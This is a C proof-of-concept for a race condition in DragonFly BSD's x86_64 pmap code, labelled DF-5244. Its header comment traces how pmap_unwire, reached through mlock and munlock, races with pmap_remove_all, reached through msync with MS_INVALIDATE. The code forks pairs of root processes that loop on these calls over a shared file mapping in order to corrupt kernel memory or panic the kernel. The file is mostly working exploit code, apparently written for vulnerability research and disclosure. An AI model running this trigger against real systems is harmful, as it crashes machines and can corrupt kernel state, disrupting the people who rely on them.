/*
 * DF-5244 proof-of-concept
 *
 * Race: pmap_unwire() (sys/platform/pc64/x86_64/pmap.c:5605-5639, user branch)
 *       vs pmap_remove_all() (pmap.c:4777-4887) reached cross-process from
 *       msync(MS_INVALIDATE) on a shared MAP_SHARED vnode object:
 *
 *   sys_msync -> vm_map_madvise(MADV_INVAL) -> vm_object_page_remove()
 *   (vm_map.c:3164) -> wired-page branch (vm_object.c:1543)
 *   -> vm_page_protect(p, VM_PROT_NONE) -> pmap_remove_all(m)
 *   -> pmap_inval_smp_cmpset(ipmap, iva, iptep, ipte, 0)   (pmap.c:4816)
 *   -> pmap_removed_pte -> vm_page_unwire(m, -1)           (pmap.c:439)
 *
 * Process A: mlock()/munlock() on its MAP_SHARED mapping.
 *   munlock -> vm_map_unwire (A's map lock) -> vm_fault_unwire -> pmap_unwire:
 *       test PG_W in *ptep            (pmap.c:5627)
 *       atomic_clear_long(ptep, W)    (pmap.c:5630)
 *       pa = *ptep & PG_FRAME         (pmap.c:5632)   <-- re-read, racy
 *       return m; caller: vm_page_busy_wait(m) + vm_page_unwire(m,1)
 *                                                     (vm_fault.c:2691-2695)
 *
 * Process B: msync(MS_INVALIDATE) on its own mapping of the SAME file.
 *   B holds only its own vm_map lock (read) + the object token; A's map
 *   lock and pt_pv do not exclude B's cmpset on the shared PTE.
 *
 * If B's cmpset lands between A's PG_W test/clear and A's frame re-read:
 *   - A computes m = PHYS_TO_VM_PAGE(0) = &vm_page_array[atop(0)-first_page]
 *     (index -1 when first_page > 0) -> out-of-bounds vm_page_t passed to
 *     vm_page_busy_wait()/vm_page_unwire() -> corruption / panic;
 *   - or both sides unwire the single wire -> panic("vm_page_unwire:
 *     invalid wire count").
 *
 * NOTE: on DragonFly mlock() is gated by SYSCAP_RESTRICTEDROOT
 * (vm_mmap.c:1030), so run as root.
 *
 * usage: df5244 [npairs]
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define FILESIZE   (1024 * 1024)	/* 256 pages */
#define RUNTIME    600		/* seconds per pair */

#define atomic_add_ulong(p, v)	__sync_fetch_and_add(p, v)

static char *base;
static volatile int stop;
static char share_path[128];

static void
a_proc(int fd)
{
	struct rlimit rl;
	unsigned long ok = 0, fail = 0;
	time_t t0;

	base = mmap(NULL, FILESIZE, PROT_READ, MAP_SHARED, fd, 0);
	if (base == MAP_FAILED)
		err(1, "mmap A");

	getrlimit(RLIMIT_MEMLOCK, &rl);
	if (rl.rlim_cur < FILESIZE) {
		rl.rlim_cur = rl.rlim_max;
		setrlimit(RLIMIT_MEMLOCK, &rl);
	}

	t0 = time(NULL);
	while (time(NULL) - t0 < RUNTIME && !stop) {
		if (mlock(base, FILESIZE) == 0) {
			munlock(base, FILESIZE);
			atomic_add_ulong(&ok, 1);
		} else {
			atomic_add_ulong(&fail, 1);
			usleep(100);
		}
	}
	stop = 1;
	fprintf(stderr, "df5244 A[%d]: done ok=%lu fail=%lu\n",
	    (int)getpid(), ok, fail);
	_exit(0);
}

static void
b_proc(int fd)
{
	unsigned long ok = 0;
	time_t t0;

	base = mmap(NULL, FILESIZE, PROT_READ, MAP_SHARED, fd, 0);
	if (base == MAP_FAILED)
		err(1, "mmap B");

	t0 = time(NULL);
	while (time(NULL) - t0 < RUNTIME && !stop) {
		msync(base, FILESIZE, MS_INVALIDATE);
		atomic_add_ulong(&ok, 1);
		usleep(200);
	}
	stop = 1;
	fprintf(stderr, "df5244 B[%d]: done ok=%lu\n", (int)getpid(), ok);
	_exit(0);
}

int
main(int argc, char **argv)
{
	int npairs = 4;
	int i, fd, st;

	if (argc > 1)
		npairs = atoi(argv[1]);

	snprintf(share_path, sizeof(share_path), "/var/df5244_share_%d",
	    (int)getpid());
	fd = open(share_path, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (fd < 0)
		err(1, "open(%s)", share_path);
	unlink(share_path);
	if (ftruncate(fd, FILESIZE) < 0)
		err(1, "ftruncate setup");

	fprintf(stderr, "df5244: spawning %d A/B pairs (file %s)\n",
	    npairs, share_path);
	for (i = 0; i < npairs; i++) {
		if (fork() == 0)
			a_proc(fd);
		if (fork() == 0)
			b_proc(fd);
	}
	for (i = 0; i < npairs * 2; i++)
		wait(&st);
	fprintf(stderr, "df5244: all children done\n");
	return 2;
}
